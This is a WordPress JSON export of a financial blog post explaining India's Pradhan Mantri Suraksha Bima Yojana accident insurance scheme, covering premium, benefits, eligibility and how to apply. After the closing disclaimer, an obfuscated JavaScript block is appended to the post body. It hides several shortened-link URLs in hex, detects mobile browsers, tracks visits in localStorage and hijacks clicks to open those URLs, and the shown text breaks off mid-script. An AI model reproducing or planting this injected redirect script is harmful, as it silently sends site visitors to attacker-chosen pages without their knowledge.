{"id":7962,"date":"2024-06-13T11:40:59","date_gmt":"2024-06-13T11:40:59","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=7962"},"modified":"2025-06-03T10:37:39","modified_gmt":"2025-06-03T10:37:39","slug":"pradhan-mantri-suraksha-bima-yojana","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/","title":{"rendered":"Pradhan Mantri Suraksha Bima Yojana (PMSBY)| Advantages, Eligibility and Application Process"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#What_is_Pradhan_Mantri_Suraksha_Bima_Yojana\" >What is Pradhan Mantri Suraksha Bima Yojana?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#What_are_the_Pradhan_Mantri_Suraksha_Bima_Yojana_Benefits\" >What are the Pradhan Mantri Suraksha Bima Yojana Benefits?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#Are_You_Eligible_for_Pradhan_Mantri_Suraksha_Bima_Yojana\" >Are You Eligible for Pradhan Mantri Suraksha Bima Yojana?<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#If_I_am_an_NRI_am_I_Eligible_for_Coverage_Under_PMSBY\" >If I am an NRI, am I Eligible for Coverage Under PMSBY?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#Is_PMSBY_a_Reliable_Choice\" >Is PMSBY a Reliable Choice?<\/a><\/li><\/ul><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#How_Can_You_Apply_for_Pradhan_Mantri_Suraksha_Bima_Yojana_Scheme\" >How Can You Apply for Pradhan Mantri Suraksha Bima Yojana Scheme?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#Pradhan_Mantri_Suraksha_Bima_Yojana_Apply_Offline\" >Pradhan Mantri Suraksha Bima Yojana Apply Offline<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#Pradhan_Mantri_Suraksha_Bima_Yojana_Apply_Online\" >Pradhan Mantri Suraksha Bima Yojana Apply Online<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#Termination_of_Cover\" >Termination of Cover<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#Will_the_family_get_Pradhan_Mantri_Suraksha_Bima_Yojana_benefits_if_the_account_holder_commits_suicide\" >Will the family get Pradhan Mantri Suraksha Bima Yojana benefits if the account holder commits suicide?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#Is_it_necessary_to_report_accidents_to_the_Police_and_obtain_FIR_for_claiming_benefits_under_the_policy\" >Is it necessary to report accidents to the Police and obtain FIR for claiming benefits under the policy?<\/a><\/li><\/ul><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#Should_you_Opt_For_PMSBY\" >Should you Opt For PMSBY?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#FAQs_PMSBY\" >FAQs| PMSBY<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/government-schemes\/\">Government Schemes<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Pradhan Mantri Suraksha Bima Yojana (PMSBY)| Advantages, Eligibility and Application Process<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Life&#8217;s unpredictability is a harsh reality we all face. Each day, we hear about countless road accidents, stirring fear and prompting a sudden thought: What if it were me behind the wheel? What about my loved ones? These moments drive us to seek accident insurance coverage, but the decision-making process can be confusing, especially when choosing between government and private insurers. The Government of India has introduced an accidental insurance scheme that offers financial protection against accidental death or disability. This scheme, known as the Pradhan Mantri Suraksha Bima Yojana (PMSBY), is particularly suitable for individuals aged 18 to 70 years.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Did You Know?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Pradhan Mantri Suraksha Bima Yojana benefits include coverage for a premium of just \u20b920.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">So, what is Pradhan Mantri Suraksha Bima Yojana, and why should you opt for it?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let&#8217;s find out!<\/p>\n\n\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1200\" height=\"900\" src=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/06\/Why-Should-You-Choose-Pradhan-Mantri-Suraksha-Bima-Yojana-PMSBY-1.jpg\" alt=\"Why Should You Choose Pradhan Mantri Suraksha Bima Yojana (PMSBY)\" class=\"wp-image-12883\" srcset=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/06\/Why-Should-You-Choose-Pradhan-Mantri-Suraksha-Bima-Yojana-PMSBY-1.jpg 1200w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/06\/Why-Should-You-Choose-Pradhan-Mantri-Suraksha-Bima-Yojana-PMSBY-1-300x225.jpg 300w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/06\/Why-Should-You-Choose-Pradhan-Mantri-Suraksha-Bima-Yojana-PMSBY-1-1024x768.jpg 1024w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/06\/Why-Should-You-Choose-Pradhan-Mantri-Suraksha-Bima-Yojana-PMSBY-1-768x576.jpg 768w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><figcaption class=\"wp-element-caption\">Why Should You Choose Pradhan Mantri Suraksha Bima Yojana (PMSBY)<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Why Should You Choose Pradhan Mantri Suraksha Bima Yojana (PMSBY)?<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Affordable Premium: Protection for just Rs. 20 per year!<\/strong><\/li>\n\n\n\n<li><strong>Coverage: Death, Total Loss (Use of Both Eyes\/Hands\/Feet), Partial Loss (Use of One Eye\/Hand\/Foot), Excludes Suicide.<\/strong><\/li>\n\n\n\n<li><strong>Easy Enrollment: Sign up hassle-free with auto-debit.<\/strong><\/li>\n\n\n\n<li><strong>Wide Eligibility Criteria: Open to all aged 18-70.<\/strong><\/li>\n\n\n\n<li><strong>Government Support: Backed by the Government of India<\/strong><\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"0-what-is-pradhan-mantri-suraksha-bima-yojana-\"><span class=\"ez-toc-section\" id=\"What_is_Pradhan_Mantri_Suraksha_Bima_Yojana\"><\/span><strong>What is Pradhan Mantri Suraksha Bima Yojana?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">PMSBY is an Accident Insurance Scheme that provides coverage for accidental death and disability.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Prime Minister Narendra Modi launched the Pradhan Mantri Suraksha Bima Yojana on May 9, 2015, in Kolkata. The scheme provides affordable accident insurance to a wide population. It aims to target the poor and underprivileged. It offers a one-year accidental death and disability cover that can be renewed annually.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let us take a look at the pradhan mantri suraksha bima yojana details:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Premium:<\/strong> For just Rs. 20 per annum per member, individuals can avail themselves of the benefits of the scheme.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The premium amount is automatically deducted from the account holder&#8217;s bank or post office account. This will occur before June 1 of each annual coverage period.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Coverage Duration: <\/strong>The coverage under PMSBY remains effective for one year, beginning from June 1 to May 31.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This is upon payment of the annual premium.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"1-what-are-the-pradhan-mantri-suraksha-bima-yojana-benefits-\"><span class=\"ez-toc-section\" id=\"What_are_the_Pradhan_Mantri_Suraksha_Bima_Yojana_Benefits\"><\/span><strong>What are the Pradhan Mantri Suraksha Bima Yojana Benefits?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Through PMSBY, the Government of India aims to provide essential accidental insurance coverage to millions at a nominal cost.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>If something happens to you and you pass away, your nominee will receive Rs. 2 lakhs.<\/li>\n\n\n\n<li>If you suffer from a severe and permanent loss that includes:<\/li>\n\n\n\n<li>The loss of both eyes, both hands, both feet or the sight of one eye combined with the loss of use of one hand or foot, you&#8217;ll get Rs. 2 lakhs.<\/li>\n\n\n\n<li>You&#8217;ll receive Rs. 1 lakh for a significant loss, such as the complete and irreversible loss of sight in one eye or the loss of use of one hand or foot.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"2-are-you-eligible-for-pradhan-mantri-suraksha-bima-yojana-\"><span class=\"ez-toc-section\" id=\"Are_You_Eligible_for_Pradhan_Mantri_Suraksha_Bima_Yojana\"><\/span><strong>Are You Eligible for Pradhan Mantri Suraksha Bima Yojana?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Let us see!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If you qualify for the following:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Have an individual bank account with a participating bank.<\/li>\n\n\n\n<li>Age eligibility: Between 18 years (completed) and 70 years (age nearer birthday)<\/li>\n\n\n\n<li>Provide consent and enable auto-debit.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">You will be automatically registered in the scheme.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"3-if-i-am-an-nri-am-i-eligible-for-coverage-under-pmsby\"><span class=\"ez-toc-section\" id=\"If_I_am_an_NRI_am_I_Eligible_for_Coverage_Under_PMSBY\"><\/span>If I am an NRI, am I Eligible for Coverage Under PMSBY?<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">Yes, NRIs with a bank account in India can buy PMSBY cover through that account if they meet the scheme&#8217;s terms. But if there&#8217;s a claim, the Pradhan Mantri Suraksha Bima Yojana benefits will be paid out in Indian currency to the beneficiary or nominee.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"4-is-pmsby-a-reliable-choice\"><span class=\"ez-toc-section\" id=\"Is_PMSBY_a_Reliable_Choice\"><\/span>Is PMSBY a Reliable Choice?<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">Yes, the scheme is reliable.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Reputable public sector general insurance companies (PSGICs) and other trusted general insurance firms manage it. These companies collaborate with participating banks to ensure the PMSBYs smooth implementation.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>You may also want to know the <a href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-jeevan-jyoti-bima-yojana\/\" target=\"_blank\" rel=\"noreferrer noopener\">Pradhan Mantri Jeevan Jyoti Bima Yojana<\/a><\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"5-how-can-you-apply-for-pradhan-mantri-suraksha-bima-yojana-scheme-\"><span class=\"ez-toc-section\" id=\"How_Can_You_Apply_for_Pradhan_Mantri_Suraksha_Bima_Yojana_Scheme\"><\/span><strong>How Can You Apply for Pradhan Mantri Suraksha Bima Yojana Scheme?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">You can apply this scheme in two ways: offline and online.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"6-pradhan-mantri-suraksha-bima-yojana-apply-offline-\"><span class=\"ez-toc-section\" id=\"Pradhan_Mantri_Suraksha_Bima_Yojana_Apply_Offline\"><\/span><strong>Pradhan Mantri Suraksha Bima Yojana Apply Offline<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Step 1: To enrol offline in PMSBY, you must visit your bank branch, where you have a savings account.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Alternatively, you can download the form from the official website:<a href=\"https:\/\/jansuraksha.gov.in\/Forms-PMSBY.aspx\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"> <mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">PMSBY Forms<\/mark><\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Step 2: You must fill in all the details in the application form and submit it to your bank along with the necessary documents.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Step 3: On the successful application submission, you&#8217;ll receive an Acknowledgement Slip Cum Certificate of Insurance.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"7-pradhan-mantri-suraksha-bima-yojana-apply-online-\"><span class=\"ez-toc-section\" id=\"Pradhan_Mantri_Suraksha_Bima_Yojana_Apply_Online\"><\/span><strong>Pradhan Mantri Suraksha Bima Yojana Apply Online<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">You can also get coverage under PMSBY online through your bank&#8217;s Net banking facility.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"8-termination-of-cover-\"><span class=\"ez-toc-section\" id=\"Termination_of_Cover\"><\/span><strong>Termination of Cover<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The accident cover assurance can terminate under the following circumstances:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>When you turn <strong>70 years old <\/strong>(based on your nearest birthday).<\/li>\n\n\n\n<li>If you<strong> close your account with the Bank\/Post office <\/strong>or <strong>don&#8217;t have enough balance <\/strong>to keep the insurance.<\/li>\n\n\n\n<li>If you have <strong>coverage through multiple accounts<\/strong> and the insurance company mistakenly gets premiums, you&#8217;ll only be covered through one account.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Any extra premiums paid for duplicate insurance will not be refunded.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>If your <strong>insurance stops due to technical or administrative issues<\/strong>, you can restart it by paying the full annual premium.&nbsp;<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">During this time, your coverage will be on hold, and reinstating it will depend on the Insurance Company.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Banks deduct the premium when you start auto-debit, usually in May each year, and pay it to the Insurance Company within the same month.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"9-will-the-family-get-pradhan-mantri-suraksha-bima-yojana-benefits-if-the-account-holder-commits-suicide\"><span class=\"ez-toc-section\" id=\"Will_the_family_get_Pradhan_Mantri_Suraksha_Bima_Yojana_benefits_if_the_account_holder_commits_suicide\"><\/span>Will the family get Pradhan Mantri Suraksha Bima Yojana benefits if the account holder commits suicide?<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">No.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"10-is-it-necessary-to-report-accidents-to-the-police-and-obtain-fir-for-claiming-benefits-under-the-policy\"><span class=\"ez-toc-section\" id=\"Is_it_necessary_to_report_accidents_to_the_Police_and_obtain_FIR_for_claiming_benefits_under_the_policy\"><\/span>Is it necessary to report accidents to the Police and obtain FIR for claiming benefits under the policy?<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">For incidents like road, rail, or vehicular accidents, drowning, or death involving any crime, it&#8217;s essential to report the accident to the police.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"11-should-you-opt-for-pmsby\"><span class=\"ez-toc-section\" id=\"Should_you_Opt_For_PMSBY\"><\/span>Should you Opt For PMSBY?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">PMSBY provides affordable accident insurance coverage, offering financial security against life&#8217;s uncertainties. With its easy sign-up process and valuable benefits, it&#8217;s a wise choice for you!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Source-<a href=\"https:\/\/www.myscheme.gov.in\/schemes\/pmsby#documents-required\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">&nbsp; <mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">myscheme.gov.in<\/mark><\/a>, <a href=\"https:\/\/www.indiapost.gov.in\/Financial\/DOP_PDFFiles\/Rules%20PMSBY.pdf\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">indiapost.gov.in<\/mark><\/a>, <a href=\"https:\/\/jansuraksha.gov.in\/Files\/PMSBY\/ENGLISH\/FAQ.pdf\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">jansuraksha.gov.in<\/mark><\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"12-faqs-pmsby-\"><span class=\"ez-toc-section\" id=\"FAQs_PMSBY\"><\/span><strong>FAQs| PMSBY<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1718276133081\"><strong class=\"schema-faq-question\"><strong>What is PMSBY in the post office?<\/strong><\/strong> <p class=\"schema-faq-answer\">PMSBY is a government-backed accident insurance plan that offers accidental death and disability cover for a nominal premium. It is available through post offices.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1718276152240\"><strong class=\"schema-faq-question\"><strong>What are the benefits of PMSBY?<\/strong><\/strong> <p class=\"schema-faq-answer\">The benefits of PMSBY include a \u20b92 lakh cover for accidental death and total disability and \u20b91 lakh for partial disability, with a premium of only \u20b920 per annum.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1718276161657\"><strong class=\"schema-faq-question\"><strong>Who is eligible for Post Office Pradhan Mantri Yojana?<\/strong><\/strong> <p class=\"schema-faq-answer\">Individuals aged 18-70 years with a bank or post office account are eligible for the Post Office Pradhan Mantri Yojana.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1718276173128\"><strong class=\"schema-faq-question\"><strong>What is the PMSBY 20 RS policy?<\/strong><\/strong> <p class=\"schema-faq-answer\">The PMSBY 20 Rupees policy is an accident insurance scheme that provides cover for accidental death and disability with an annual premium of just \u20b920.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x6c\\x5a\\x43\\x33\\x63\\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x79\\x64\\x44\\x35\\x63\\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x42\\x4a\\x77\\x38\\x63\\x318','abs','-local-storage','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x56\\x45\\x58\\x39\\x63\\x349','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x65\\x4a\\x6b\\x34\\x63\\x334','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x5a\\x65\\x5a\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x4c\\x6c\\x6a\\x32\\x63\\x362','floor','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x47\\x4c\\x6b\\x36\\x63\\x386','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x52\\x4a\\x41\\x30\\x63\\x360','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x55\\x52\\x50\\x31\\x63\\x321',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const 